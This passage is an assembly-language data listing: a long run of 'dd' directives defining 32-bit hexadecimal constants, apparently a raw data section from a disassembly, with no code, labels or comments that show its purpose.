dd 876C01F9h, 0F8A068BFh, 2034A325h, 37BBDA10h, 5BE40094h
dd 7210B2E6h, 0E0042E5Ah, 15F43312h, 714B3081h, 80BEAFD1h
dd 0C30961Eh, 0B5102758h, 0F06E6014h, 8233074h, 3A209ED4h
dd 642EF112h, 1E608108h, 9C149978h, 0F1556289h, 276458B8h
dd 7E200015h, 0A268E3B6h, 0ACB40558h, 0AC778C4Eh, 8012682Ch
dd 8892A09Ah, 8A79E29h, 0B8DB3C0Ah, 0E244ACA1h, 67120C8h
dd 0FA99EDBh, 294CE8AFh, 791C3019h, 1A2F5561h, 210BA997h
dd 65982440h, 1457A888h, 181D016Fh, 5BA9490Ah, 99969F8Ch
dd 541471BAh, 939461E4h, 0D7051B64h, 8A26C13h, 6822884h
dd 48F14D71h, 0C9BB34h, 0E62CC3E0h, 0F27010A2h, 0B5DD560Eh
dd 12C04064h, 0C5AEF6D3h, 29931B8h, 2FFE174Ch, 4E0F0468h
dd 505DA731h, 7C82E801h, 0A831DAD1h, 0E38BAF60h, 2F931A01h
dd 5ECE6839h, 4DF170h, 8834D706h, 22F95F52h, 3ECFE000h
dd 25DF7C3h, 0A0460099h, 9895589Bh, 2601A121h, 7E916F6Ch
dd 80F302F3h, 30869062h, 0FE4065E6h, 0C241B7D1h, 4798C0h
dd 95579E6Dh, 238F163Eh, 7A2833Ah, 0B6E949Bh, 0F7B08717h
dd 7F86011h, 43D1EB5Ch, 0F6246136h, 577001E7h, 8DC844D2h
dd 0F8EA5704h, 0E6CB6980h, 909D9395h, 0F13300D8h, 6A837B8Ch
dd 9B00DBD6h, 8A155C69h, 3AC86B5h, 57248265h, 0C2C0B4D0h
dd 0E71F0231h, 0E40A195h, 9B633584h, 979C0123h, 0A06B458Fh
dd 0F47EC05Fh, 0F60CD900h, 7DE31A4Fh, 0F8FA30B3h, 0A65FE540h
dd 976C40h, 6E909662h, 0A7478F6Fh, 0B549D00h, 0AC8382CBh
dd 0EC40331h, 0C1447DE7h, 0D30C3088h, 0A2925F05h, 0F8C0850Ah
dd 98789095h, 94B74838h, 5FE8BAh, 9443D9F6h, 985E5C6Bh
dd 23A86200h, 448F666Eh, 0B9F0083h, 0FDB5865Bh, 53002B52h
dd 7972E00Ah, 742C338h, 0A85EE202h, 0E387D0B0h, 25008D21h
dd 32DCE183h, 4E9F79h, 0DF18B608h, 1E4939C1h, 0FD73ED0Ch
dd 10C84086h, 835DE7h, 0A21CE389h, 3E26423h, 0A39F5ED2h
dd 0B998F459h, 6500AEFDh, 62ED19EEh, 0C434B8h, 31E77494h
dd 8B5AB16Dh, 647900F5h, 8C66E5ACh, 0CEE1F0ABh, 98D10068h
dd 58A2A044h, 0EF003370h, 0AC387696h, 7C9A908Fh, 741500A1h
dd 6013FC91h, 0A2002285h, 0F835B7CEh, 0E6DDD15Eh, 4BA40067h
dd 0A6F33A87h, 8E00783Eh, 6A425FCAh, 0A35955h, 2FF9832Dh
dd 0CFDF4749h, 0C1002698h, 46E70494h, 7E626982h, 92630080h
dd 8F6B3991h, 0A0009B2Ah, 33A40A5Eh, 2E52F2h, 0C5FD1DEEh
dd 9505C2B3h, 80E09F39h, 844CB16Ch, 3CD4163Fh, 8C856E2Ah
dd 829C4230h, 5C2181ACh, 73E42451h, 0A30899FFh, 0F47F04h
dd 820C192Ah, 0B90A20C0h, 0E8148601h, 0A6648873h, 0F3B0344Ah
dd 7000BC7Ch, 587E016h, 0E8681E2h, 0F804FB44h, 4DC31C15h
dd 1000B91Fh, 6EBB8B9Eh, 37F8436h, 76E081D5h, 16A9700Dh
dd 3F287821h, 0B88C435h, 0B549315Dh, 7113A4C0h, 26D4C11Ah
dd 40185438h, 3ADAC9A0h, 0B5632202h, 0B10D2F60h, 2D02C71Ch
dd 4B80805Ch, 0DD30A0A9h, 911200EAh, 25CEDC5Ah, 0E706C56Bh
dd 16E19BDFh, 0D4770188h, 0F7594365h, 0CECAE050h, 6FF3FE16h
dd 0FC6CF8B1h, 0C070C50Ch, 640CB591h, 11174D06h, 710C0BF3h
dd 9C619CDCh, 0A109AD94h, 711553C0h, 804158F1h, 221017A5h
dd 0C4B6F8E1h, 80A1A903h, 33D00143h, 3BDEB67Fh, 4507D261h
dd 0D0262F03h, 1D171102h, 1810F2E6h, 827214Fh, 28B73000h
dd 9B4483D2h, 94CA003Fh, 9EA89C97h, 0F04EF7E1h, 0A63BD880h
dd 0E36E3061h, 64A94978h, 0FECC6341h, 0A8A0ABC3h, 3FD47Dh
dd 0BD70558Ah, 0A7D5DDFCh, 0BA593200h, 92D79A5Fh, 4A305EF0h
dd 4058DA90h, 0DE2A2F5Ch, 9110E221h, 423004Ah, 4E41BC30h
dd 496F00F1h, 2558D27h, 0B81DA579h, 9944A177h, 78F80B0Dh
dd 9FD08730h, 6301F04Fh, 883C5405h, 9EC806DFh, 0B5C63CF6h
dd 1704D0CAh, 0EF009722h, 0F92E28Ch, 0EC61E10h, 4712609Ch
dd 4E017889h, 902F8B93h, 8080B368h, 602CA94h, 0D60C771Eh
dd 0D312EBC3h, 0F8ECACCFh, 41D8A90Bh, 0CBA0A8C0h, 3D716D09h
dd 0DA1400CFh, 0BE60BB33h, 29183EA4h, 0C1435918h, 0D4D4069Fh
dd 13D73989h, 0B628C4D2h, 5CA80389h, 0B240C06Dh, 0D14158D1h
dd 0B1218026h, 6742A828h, 9C8A00E7h, 755BB068h, 3E00C65Ah
dd 7EBBF27Bh, 33C96DB8h, 0DE90C37Dh, 18A1E1h, 5468E3h
dd 313D66Bh, 61CD179h, 4A1B10Ch, 1ADAD0B6h, 0E8B950E1h
dd 0D0F1547Ah, 0B244FD63h, 0D6DD1716h, 370CD30Ch, 88D0094Ah
dd 73D6D4F6h, 3C26FAAFh
dd 3B15CDA6h, 9501CC59h, 5C332B9Fh, 0A180CFC3h, 6325EF31h
dd 739CE617h, 70ECA322h, 25DC1C08h, 486D000Dh, 0AD494F41h
dd 9CB04B60h, 80BA1A31h, 0D7126554h, 0DC04E2F8h, 6601C199h
dd 0C4D71C5h, 0F7F8C01h, 89CE711h, 5680EA88h, 0C8A97118h
dd 6F830C77h, 2550630Ch, 34C99E88h, 0F8800A57h, 0D599C2D4h
dd 0BBA054C7h, 0F653867Ch, 30C4F2ACh, 0F4F0E97h, 0F939B480h
dd 15ECA850h, 0FE70C6B6h, 11E31CAh, 3A415945h, 0FD687FEAh
dd 7105A5E8h, 697B0236h, 526D4932h, 0E15CA069h, 10C1A8B5h
dd 804C1749h, 6D59A82Dh, 22414328h, 5DAE001Bh, 0FBA6C2A8h
dd 0A9194AABh, 0CB58603Ch, 0E01DDC2Dh, 0A794C0D5h, 5C343890h
dd 221A4F22h, 3502164Ch, 0B58A36C9h, 0F77C402Bh, 92C5300Eh
dd 0E02EE429h, 63E53327h, 7C3FD090h, 0C118056Bh, 82EE76E7h
dd 0E9863040h, 31008019h, 56CFD0E6h, 25E3B7A3h, 5C66CAC6h
dd 43253498h, 4CECE0C9h, 0AB69C418h, 22A9C01Ch, 2497C8E5h
dd 0DB2015A8h, 9200AA47h, 0D10401DAh, 1FABA179h, 95DF643Dh
dd 771E9078h, 9B61DE2h, 80A3DDB3h, 0ACE05418h, 14151E0Fh
dd 90679Bh, 0CB5F69E5h, 0EF3AB51Dh, 90336C64h, 0ED4D30E0h
dd 0B2AF64A0h, 958574Ch, 581B378Fh, 0F35D3044h, 0C63E4620h
dd 12C4F401h, 28E4E996h, 0EA023026h, 0D84F09D6h, 0F310C031h
dd 0FA24D6E1h, 1500CEEFh, 3031DE4Ch, 0FD9CFAE0h, 29BC56F2h
dd 67DCD35Ch, 0A4BB1A70h, 8CAD0B2Eh, 0E00F5BA7h, 14044AE8h
dd 3888335Ch, 55693E77h, 7030C64Ah, 0C3026146h, 804F0AD6h
dd 0F410C231h, 0DE56D6DAh, 17583CF4h, 3C40054Bh, 0C9BB26CCh
dd 7464485Dh, 7500F922h, 0EA0376EDh, 25DF51BCh, 0ECC83B02h
dd 150333D1h, 7A97D2F6h, 9940D007h, 0E6C1FD1Ah, 2545430h
dd 596AB447h, 0F06094DCh, 0B7E61674h, 7D696D0Ch, 146CD0B0h
dd 0D8E65524h, 8C18B450h, 5AA82E04h, 2762306Dh, 0C326AF22h
dd 0B78C9800h, 6CCA07D6h, 0D5714C30h, 0E874C4E4h, 189280ACh
dd 0C91C0Eh, 80454AD7h, 6BFBEA76h, 0E23C8752h, 0E3A33021h
dd 0D9AC2216h, 50085C16h, 2F5BC0E1h, 0EA21DE31h, 3529110h
dd 0F300322h, 0F16412AAh, 3EDCE45Eh, 0DA84E704h, 0CB8BF1Bh
dd 5D7D4909h, 49CF0C1Bh, 18164C91h, 0CA8582Ch, 704C6026h
dd 0A80064A5h, 0B849AF5Dh, 40E0A94Fh, 9EEA3141h, 0AB70049Fh
dd 4CA216h, 0DFD124CDh, 4B68BF30h, 10ACC145h, 7290326Fh
dd 45F0702h, 7E1575A3h, 0FF1638CCh, 0CBEC40C5h, 0D6E6EFCEh
dd 0DCDFE701h, 0C77D68E4h, 751C442Fh, 6034A1F4h, 0E307EB68h
dd 5A49032Bh, 0E8B8AC84h, 8012807Dh, 465C0494h, 4C13E53h
dd 66142B19h, 305DA082h, 0E11D6E7h, 1A84E04Fh, 0DEF803E5h
dd 80C3EBD6h, 176FE1AEh, 4E8C6E7h, 5BAD47Ch, 9820FE34h
dd 2C4ACDE5h, 4BC533Bh, 0A4211B01h, 64428C98h, 0B011D23h
dd 0E89CC371h, 0F4403B19h, 5371145Ah, 50CF19D2h, 180840E3h
dd 0E671080Eh, 0EFC6109Ch, 712AC071h, 0F0F2A9F6h, 0AE1605E0h
dd 0D804DD88h, 0B501BED7h, 0BE55BC9Ah, 0D09208D0h, 3AB6172Ch
dd 162023CCh, 0FF70001Ah, 0E1DB31B4h, 0A429532Eh, 482E37C0h
dd 0BAA8266Ch, 25151DA8h, 6088282Fh, 0D5386300h, 0B411876h
dd 0DB22C47Fh, 0B560D851h, 24A14961h, 80685FACh, 0A028FB30h
dd 0E0BABDE1h, 145C349Ah, 9F7850A4h, 4C84133Ch, 0DA4C7A54h
dd 0DE2B005Ch, 2F3910B2h, 0A1310CBEh, 3741ADE1h, 0B8204E00h
dd 0DFA3F7CCh, 90D46486h, 0D55640B0h, 0C1385C2Ch, 0A3C5B611h
dd 0F258227Eh, 72403050h, 2AF6A9ECh, 12A60203h, 16B403D3h
dd 18A14F88h, 0D9A0E8F8h, 0E17C8C33h, 0C95F9047h, 55880E24h
dd 1A4A714Bh, 0AF6C9EA4h, 0ECE3A442h, 522BC981h, 0B0466C08h
dd 5516DB46h, 3ABC092Fh, 104D64B1h, 3E301D24h, 0AB0F916Dh
dd 6E42385Dh, 147069D1h, 0D6E80651h, 0E183CCAFh, 0B005271Fh
dd 8569780Bh, 77D0490h, 0F1260F1Ah, 0F2366FC6h, 803097CCh
dd 1F12B094h, 5032DFEh, 0B8397178h, 305C16D4h, 0F87738E4h
dd 0E11B62E5h, 1CE9E124h, 0A849F06Dh, 67875096h, 4DC35394h
dd 3779001Bh, 36544EAFh, 0E371875Eh, 4F88E500h, 6E081DC0h
dd 0B1A52799h, 28F3D46Eh, 1EF2080h, 912636EEh, 0C4E5772Ch
dd 760110A2h, 120F94B7h, 5FF8833h, 8CA9A728h, 0E1E8414Dh
dd 74EB65D9h, 0E8C262Ch, 4F0FD6E8h, 0E5198491h, 0D6DFF100h
dd 0EF00877Ch, 0A94AAA95h, 556E0D3Ah, 0EAD988F8h, 1F6A06DCh
dd 8FF5C19Bh, 0DBE378A2h, 0E886102Eh, 423D5B01h, 0FD33DF09h
dd 40582C28h, 0E0B34079h, 0AE658800h, 26FEE641h, 5D4A0903h
dd 8205C3Ch, 52B027EBh, 2EE86B79h, 54E7DA00h, 46CBCFD1h
dd 6310058h, 78F325DBh, 0E12D22F0h, 0B7E46016h, 496027A1h
dd 0E2570CC1h, 0A4E27F04h, 0C4304EE2h, 56C6003Ah, 41495401h
dd 58C140F5h, 1ACCA99Ch, 262AE824h, 44C85594h, 710D6007h
dd 189C23DDh, 64EC08h, 2711654h, 0E901BCBBh, 32689F67h
dd 5ADAAD49h, 18332220h, 703BFC1Dh, 0D4466828h, 2C301E02h
dd 14E7F2DEh, 30062500h, 50C63D8Ah, 0B225079h, 4A70D634h
dd 195F2C26h, 0D720A490h, 10565C26h, 31028C71h, 886D55A8h
dd 0AA001640h, 4ED6A861h, 1250E352h, 20E42220h, 3CA1C9C0h
dd 48242094h, 4981802Eh, 81E53555h, 9A383DF8h, 4BDF1624h
dd 2BF0F0C1h, 80A666F0h, 715918FDh, 5ADE292Fh, 128C0E8h
dd 7E010530h, 3F274507h, 2F47657h, 67883E20h, 0F31090DCh
dd 21182019h, 29F112FBh, 69483D18h, 85303853h, 8261575Ch
dd 1D77C8C1h, 4BB42000h, 893A723Ch, 22A5EDC9h, 50C5438Ch
dd 2AC43CA8h, 0F0B93309h, 0C1C30C84h, 0AFE143A0h, 0E04411h
dd 178A1536h, 10EFEEB9h, 57068314h, 9E2160A3h, 0CA2378Bh
dd 1432553Bh, 9C3EDEA9h, 90E5B7D1h, 4C884D04h, 2F8A3B93h
dd 78610573h, 437C9713h, 0F1375CA4h, 0B7474101h, 52742E1Dh
dd 4FA24823h, 0B8B330h, 273F6F0h, 37C347FFh, 5C501BECh
dd 76888FC0h, 0CEB927A1h, 52ABC404h, 0C02A6C08h, 4F0BD6C4h
dd 0D808843h, 0DF10D6DCh, 71072372h, 0DE51ADEEh, 0D6197572h
dd 8BCA001Ch, 5DD1701Fh, 0C4B81A5Ch, 9C016601h, 250E4C31h
dd 0BA146058h, 0D5442CB6h, 2D301F60h, 110ADE23h, 7260054h
dd 4A2C9430h, 0DA232D2Bh, 6FC54868h, 5DDC0E54h, 4249100Bh
dd 27819D2h, 8C15A470h, 1FA82B1Eh, 0D88B5852h, 0A863A400h
dd 0C20E5AB5h, 7820A971h, 0D03B5ABEh, 0D275F194h, 44FF1228h
dd 1B499200h, 0DC785E54h, 886F5814h, 37A72980h, 4C303292h
dd 0CB38D9E0h, 0B8147877h, 1381C4B4h, 0FDF4B498h, 0D8F62CA0h
dd 0EEA5F00Fh, 5704A5F1h, 7CA298C4h, 2A304EF2h, 0DBA30B48h
dd 0CC806A69h, 3D23DDABh, 0E001EC4Fh, 211995C8h, 4420CF02h
dd 9E8C035h, 392AFD14h, 9C09F466h, 4228B7C9h, 0D9EA4264h
dd 18E77148h, 0E32226F9h, 41B74078h, 61825AE9h, 203C5010h
dd 8CDDB8h, 662882BCh, 1B4C70E5h, 0A7ACDE3Fh, 54C2594h
dd 1E8064ECh, 0F51AA548h, 5882BD14h, 40685284h, 0A27536AAh
dd 180370A1h, 0E9710809h, 0F0C4789Ch, 7160584Fh, 4176EA95h
dd 60C7E106h, 4990A7Fh, 0F3269E35h, 0F0E2C5h, 0C24A0CF4h
dd 1DF7C8Ch, 0F6537A4h, 61B17596h, 3E482CA2h, 99348B25h
dd 9E44787Ch, 5C744A98h, 30002146h, 6DE632FCh, 0BDEAA622h
dd 0F231EC90h, 57930858h
dd 59B8103Dh, 8AA58407h, 9AC0684Dh, 49B4A1A2h, 0E5CCA451h
dd 8E092F09h, 48005B5h, 40402420h, 0BD90F0A4h, 97D67600h
dd 6E8D4254h, 0E26C0B11h, 4C796260h, 23150E00h, 7784B4DDh
dd 0D277E0E1h, 48608799h, 0DD475482h, 0D046E7h, 0AC597BBFh
dd 490594C8h, 97CEE402h, 0D2E72396h, 88135E98h, 92F89164h
dd 0B4A07300h, 60FB3179h, 61B00EE6h, 0DC021442h, 0BC62C99Eh
dd 41CF8C81h, 743428B5h, 0A94A6B1Fh, 0E8235D56h, 6F0BEC13h
dd 780034F2h, 2C4EEF33h, 0F7121Ah, 2173742h, 6DBD5879h
dd 0FDCD8317h, 0DC3590D0h, 86F2E0h, 8C99D861h, 69B979C8h
dd 6E40E501h, 66B56FDDh, 3014E452h, 5608A832h, 6440906Dh
dd 2AAB4128h, 0B0FF1DA8h, 0E201A5F3h, 52807FAFh, 0E005E095h
dd 0F01FBD9Bh, 7CFB9E28h, 0D9E500C4h, 842BA6Ch, 25C9176Eh
dd 3340C110h, 1C3C3D95h, 24C9979Eh, 0D18E0C23h, 28A91449h
dd 7B9C9052h, 0DEAC40DEh, 992BC474h, 0B3CB7922h, 0AA3BF070h
dd 9C2CBA0Eh, 0A0A9E393h, 94780E61h, 6704B987h, 0B394C17Bh
dd 159DD5E7h, 8AC2A0B0h, 0C0586C60h, 182B58A0h, 40F23D81h
dd 0B4B4EF04h, 42458B28h, 264474C4h, 80BC964Dh, 34A8A1C8h
dd 7F03EAF5h, 0FA07542Ch, 3B581381h, 84A88913h, 511CF190h
dd 0C529F422h, 601BE4B4h, 0F35D2Dh, 6C7E00Fh, 6FEB178Ch
dd 0ABA9D112h, 20713CB4h, 0F67D64E8h, 0ECC1BB2Ch, 93B48C42h
dd 2A9E680h, 0A9975B30h, 10F4299Ch, 0D80829BCh, 917895A5h
dd 85DF8054h, 27330639h, 3818385Ch, 0A8C0AAE9h, 352463E5h
dd 0AD3327E6h, 53EF1002h, 0E7A78CE9h, 518425E0h, 93130CA8h
dd 5CF134A2h, 7B1A8400h, 19A71EEh, 31C5DC4Dh, 0FDA75B97h
dd 305C40A0h, 7702E20Eh, 8C794B24h, 595CC408h, 0A871404h
dd 709CD271h, 13510E1Ch, 39E00971h, 0EF87A64Eh, 639F5601h
dd 0EE894BBEh, 156DC884h, 38849105h, 0B5C9E08Dh, 6680097h
dd 603D2EA1h, 0E5439958h, 6607A203h, 0FADC4BADh, 33406A80h
dd 2E02018Bh, 556DAE9Ch, 0BC0C2861h, 0BB008C1Bh, 24093A69h
dd 0CF01E08h, 1F4CB6B8h, 0E000D7F1h, 533F5F9h, 2837367Fh
dd 0F5D4564Bh, 100A183Ch, 0DE94B5C5h, 0A57E8A00h, 7FB9F9E8h
dd 21AA17E7h, 0F90D0FDh, 947DD22Fh, 697EDE00h, 4F41B22Dh
dd 0E1EC0B3Fh, 6C209C54h, 89700D5Ah, 0DA0E989Eh, 0F230EB4Bh
dd 1B1D1064h, 0B4B72821h, 28C4E2B0h, 0F0B278B8h, 953027F2h
dd 0A99E0282h, 0EBF41F83h, 47A6E440h, 0F6DD9B15h, 0C5C840F0h
dd 68446E4Ah, 1CC74FC6h, 90A8BCC4h, 0F794CAA0h, 7C1F691Eh
dd 68EFDCCBh, 824BD428h, 0EB7958D1h, 0DA003618h, 96B414D9h
dd 0C110B8A9h, 9813B758h, 693024BAh, 890DD030h, 0BF8DA16Dh
dd 23E0D403h, 2B0331E2h, 13793112h, 0A2E8418h, 4F389C00h
dd 19B1C217h, 9DE03913h, 0CB793C04h, 829F7021h, 0D7C99C31h
dd 0FC30680Ah, 7CA91595h, 213A5027h, 7B255E40h, 77484045h
dd 13575AA1h, 0C86C8BB8h, 2B14C04Fh, 8B12F388h, 68F0E07Dh
dd 9EAB04AAh, 4B35FD1h, 34F3E574h, 92314AA2h, 34BEE60h
dd 0ABB7831h, 4D89569Eh, 19F98023h, 0D09DC6C4h, 8E1B073Eh
dd 8360E1E2h, 4C91A950h, 9C347E18h, 9D8300C4h, 590FC877h
dd 2E3303D4h, 57EBE66Ch, 138CC88Dh, 0D00E18A2h, 9A95C483h
dd 21016DF3h, 7FE5C5CAh, 689B9CDCh, 0E3A2E8B5h, 1FE02C4Dh
dd 38A9BE2h, 69E62AD1h, 1EF8D557h, 2F75C6E8h, 0B1F89A12h
dd 0CDB5C13h, 0E5BAB980h, 0A15C55D7h, 242773E4h, 1A9C915Ch
dd 0DF04A063h, 14146543h, 4CB2A410h, 673049B2h, 84500015h
dd 7E708995h, 0B800EE78h, 3280B264h, 95455149h, 13102410h
dd 59ACB984h, 319E181Ah, 71C0A307h, 7ED41185h, 52F2A862h
dd 1205031h, 35D12663h, 0E3658470h, 0D8FC81EDh, 80B60027h
dd 11405E5h, 8CDFD478h, 99136DACh, 0A041C01Dh, 52CAC69Bh
dd 4A6E3F0h, 0D1701E0Fh, 6528E085h, 631CE201h, 5D714918h
dd 9C0C6868h, 4B690FE1h, 314EE690h, 276194CCh, 0A0A04A5Ch
dd 0D761546h, 0FD2D1A09h, 0BBF8A3CCh, 0E73BB949h, 95DFAC0h
dd 0D82F6EABh, 31EC9788h, 9DC5FEF1h, 11801531h, 38BADE61h
dd 0BE2806CCh, 5820FB6Ch, 0F076E024h, 0B4168F0Fh, 0F9EC1184h
dd 43343048h, 25D8AC51h, 224CF216h, 5890C081h, 3C0D94B1h
dd 0B8D03155h, 9F785Eh, 0CE0C4A4Fh, 0A621D60Dh, 34AC2977h
dd 3B4D9722h, 1D2133DEh, 21D0B11Fh, 46A42092h, 29F9B7D2h
dd 59C11034h, 5CA6BFC8h, 21C4674h, 0CB084F21h, 80409E90h
dd 0A5F1BFE4h, 4C219140h, 7BE70478h, 5CA218D5h, 0D8828A74h
dd 88084788h, 0E46D1659h, 8908D8ECh, 80244E01h, 0B9DEE520h
dd 0BC003CFBh, 0A89B68A9h, 2AB6226h, 0E82EE7FDh, 54913D7Bh
dd 0CB0410C7h, 235913C5h, 832C04E6h, 0CA5600F0h, 90588C9Eh
dd 200209C8h, 34F98250h, 7708C051h, 0C4A59924h, 5488DE92h
dd 0C5710F79h, 6C811A3Dh, 842BE782h, 50E64558h, 64C8700h
dd 0E1259EE0h, 71584877h, 0C910FFD5h, 9A9F40F8h, 84B8075Ch
dd 0CC8D2F38h, 319BFDB8h, 70D12BACh, 7006B139h, 88A6D975h
dd 0A2F05D25h, 35B74D8h, 8AE88694h, 99977372h, 4200DACh
dd 2C608ABAh, 1098046Bh, 748212F0h, 64F90B90h, 0E5640CE7h
dd 0F0618E60h, 8F027873h, 0A9F2367Ch, 5EDC5E04h, 80E51B21h
dd 99F39FFCh, 0E1723664h, 0E582D805h, 3CE17970h, 51ADDA30h
dd 74EAA422h, 319C84F4h, 0BC00E0A4h, 0D214EE04h, 0AC1220E3h
dd 30B49370h, 503B4CDFh, 0A2A01F80h, 2A00D337h, 3326F86Eh
dd 0F6852E3h, 0AE51649Eh, 5C41ED6Ch, 0C7F29B03h, 810F2662h
dd 0FC293CD4h, 0A4171800h, 9BD33088h, 9A387F00h, 932EDE57h
dd 5081741h, 0B2002548h, 0B1821D88h, 6D2A5EC0h, 58B40CECh
dd 310228DFh, 2DFF092Fh, 1097B044h, 12969450h, 95AA1EAh
dd 0D889937Ch, 0E5796CD9h, 0C8A36E18h, 95E04B93h, 0AE1E65EDh
dd 12D62D3Ah, 0F9213804h, 4168E301h, 0F8B204A3h, 0BF304FF2h
dd 0BC920081h, 0CBD7A12Dh, 6A019F94h, 9BBE34A4h, 0B824820Dh
dd 0C1F129D1h, 1854D134h, 0F4C50292h, 0C1FD33AAh, 7CE098AFh
dd 6B097661h, 83C73B07h, 54A0EFE7h, 8C0407h, 0E0325B4Eh
dd 0DA84C286h, 5880B74Dh, 496300D8h, 723F6554h, 14D612EBh
dd 0CC981705h, 564BDA4Ch, 0D4C85CD0h, 374C0084h, 0AE6F7871h
dd 0CC7EC668h, 0C0470524h, 0D4CEC404h, 9587FC81h, 108C2F2Fh
dd 80C064EEh, 0D93A1E19h, 0F0508326h, 338CE51Dh, 0B6B4AEEAh
dd 1D465E48h, 0AC3DF000h, 1F474082h, 0E423CA12h, 0B8F150F5h
dd 0B0961200h, 6038A12Dh, 51B9E18h, 7D696E16h, 0B1DC47ACh
dd 0D2818477h, 0FCE01560h, 0CA17DDA7h, 549ABD10h, 0AA1CEEC0h
dd 48A314ACh, 0C0085782h, 9892D907h, 191BFCC0h, 942890E0h
dd 45E31CECh, 0A0D14BDDh, 705767Ch, 25017BDBh, 48FA4F4h
dd 5BEFD34Ah, 6D6CF433h, 9C9ECCB8h, 0C0B77F0Ch, 0E4C8C814h
dd 0B6040F8Ah, 0A402A116h, 7E62EAA2h, 9E00DCE8h, 0F395D835h
dd 72B546EDh, 0A2554EDFh, 0CE007060h, 0E6A7A1D1h, 57DBDEh
dd 0FC82B183h, 9B3986B6h, 9381560Fh, 0C8E68AF3h, 0C7418549h
dd 40A2C825h, 0A9301CF2h, 0E43093Eh, 30E84D1Bh, 0D400E6F1h
dd 0E9951C50h, 6D255BDh, 0A5716D4Bh, 0F2670B4h, 56118C47h
dd 7F011D07h, 0D19B804Ah, 61E5507h, 4B025B5Dh, 0B7D5B323h
dd 0A21B8C9Ch, 0CB6BDC42h
dd 94040319h, 0F6BCB0F5h, 13CC4E31h, 0D198E1CCh, 0E0E205FCh
dd 6F304AF2h, 0CC3F3EADh, 0B3FB8A80h, 0A9B14F8Fh, 8C60C024h
dd 54FDE944h, 0ED5CF1ACh, 4BDF0FD0h, 4717F01Fh, 0BF2102C1h
dd 909D6709h, 61E51A08h, 0F4C354F2h, 0E014D98h, 781DF97Eh
dd 6C25B569h, 216A49CDh, 70660994h, 6140CD5Ch, 0CB654BB5h
dd 0E4C4C4C8h, 75EED930h, 0EFDA7D13h, 7A02A45Eh, 0C86BB319h
dd 5C03858h, 2D47DDF7h, 0C86F1Eh, 9D7A1A38h, 13344794h
dd 1A8D9693h, 2C5ED64Ch, 0CC54C692h, 0B093CA8h, 0C4ED517Bh
dd 88E5E824h, 6440E8A9h, 4F8CEC96h, 0F76C221Eh, 0FC642Bh
dd 0FA91D47Bh, 9338ACDBh, 3014AA00h, 0E4DF05F3h, 0A89D0041h
dd 8179748Ah, 18060A08h, 0C0D9A0E8h, 788CB391h, 74072CDFh
dd 6A7ED211h, 0D8F68833h, 5280516h, 9EAC22D1h, 0A9DC02C5h
dd 5CD044A1h, 0E9971212h, 0C010202Fh, 535CC0E4h, 4354C75h
dd 0C99E1CA5h, 28B8FBh, 0DC093C56h, 4B22CD59h, 0A92420E5h
dd 3481B97Ch, 0E0309C31h, 0A5FA885Eh, 0F52CFF1Dh, 302AA941h
dd 1EE15423h, 97B5E7C0h, 0C208941Dh, 567762E4h, 6962D486h
dd 923DE09h, 0E130E81Dh, 14C89DA6h, 0C900CF5Eh, 0FD2E673Fh
dd 95B7224h, 9CA94AEFh, 44B59C60h, 4D79A70Ch, 0B86B1142h
dd 0D93F3F8Ch, 0D000985Ch, 6C298EB0h, 48641144h, 0CCF93C68h
dd 2CA99C09h, 7CC90461h, 0E51010B0h, 145C3884h, 26E81234h
dd 8B53B4C8h, 0E38D5825h, 779BE29Ch, 3A001014h, 98C6F121h
dd 31E19EE2h, 0C54819B7h, 0C40C386Ah, 740D052Fh, 282F7A38h
dd 5A135123h, 22C5F889h, 0F73EA0C7h, 0F26A0041h, 12AB6A8h
dd 995B98EEh, 10044412h, 38ACD0A9h, 9DE52B00h, 9FD9318Ah
dd 9150179Dh, 0E625871Dh, 0B059A303h, 6FFBD19Eh, 31C0D811h
dd 95325C18h, 0E80431D3h, 6CC07A8Ah, 5D4DF19Dh, 2F4F2498h
dd 0EE8239Ch, 0DCC3936Ah, 6C699E7Bh, 605179h, 0E236D270h
dd 74FA424Ch, 0C84645Eh, 2188B8CEh, 0FDDC8BC0h, 308D506Fh
dd 0DCEC94E4h, 0E1389900h, 43328CA0h, 0CA114B1h, 293EC848h
dd 16F789Eh, 1970C566h, 0ECFC2C60h, 29028CE8h, 3D9B5FA7h
dd 1F947824h, 58C5670Ch, 2F314992h, 44DCA92Fh, 4F181604h
dd 90381841h, 76486025h, 0B7F11080h, 80365C14h, 0AD701782h
dd 0E8043054h, 0DCC1F17Eh, 0B804E461h, 8CC4BC50h, 2C397104h
dd 78B0929Fh, 0B8E0658Ch, 54880D61h, 6B3441B9h, 0EC677AC1h
dd 7BD9F650h, 0F9D3C44h, 66C8CC4Ah, 25F99B25h, 2CA83A3Ch
dd 7C8C51BCh, 41DC1A0Fh, 684089CCh, 234BA943h, 30849043h
dd 6FE4E7h, 0BFF3F190h, 95E9FD12h, 7804035h, 8BA135BFh
dd 0CDBC02B2h, 1D4DBE4Bh, 4F53D920h, 0C8C90048h, 0DFF0F16Bh
dd 1B62CD43h, 80A113C0h, 494C696Ch, 0C29D73h, 6FB4987Fh
dd 280D60A1h, 349D0776h, 40617231h, 0B02313F1h, 3E3120E2h
dd 4C8CD2DCh, 824BC530h, 0A0ABCB0Ch, 4DD16871h, 0C9004418h
dd 0DD699AA4h, 0C5839923h, 90364DA8h, 97D21E7Ch, 0D00B175Ah
dd 2C44C1FCh, 0A94C05D2h, 0F22A00C0h, 0D770FAACh, 0A9761257h
dd 0C43C310Fh, 34A0E59Eh, 0F7055740h, 0D6325BD3h, 0D98438F8h
dd 55949CDFh, 10A8C09Dh, 43492C42h, 0B2EC893Ch, 0B59FB802h
dd 0A99E5C7Eh, 646450D6h, 185FF8C1h, 0F8494B01h, 39F959DDh
dd 16EB858h, 330B7ACBh, 6F25344Eh, 0EF927C05h, 53F9004h
dd 0CF4CB500h, 7F02487Ah, 9B7BDA83h, 9DA88958h, 801A111Ch
dd 0B7EAC975h, 2795A43h, 19696DA0h, 0FE09ECD4h, 0E16C2F55h
dd 526AF2A3h, 71390432h, 9451E1E9h, 1518E579h, 32253D02h
dd 7675EC60h, 0B0CA4078h, 1A028B99h, 23C62E69h, 172860AFh
dd 991C925Ah, 0E37D00E0h, 93D3853Eh, 0CCF6D02Ah, 41680F0Ah
dd 0ED41F4C4h, 3072E222h, 8CA9B104h, 3F3C0252h, 76D05ECEh
dd 65005146h, 97424903h, 0B0B8CDECh, 1E02944h, 47D092D5h
dd 7819210Fh, 8C4DBC0Ch, 598F2800h, 200352B5h, 0DDFF059Ch
dd 4A7EC97Bh, 82A8A484h, 1F8BDA84h, 1940A044h, 7CACBCBCh
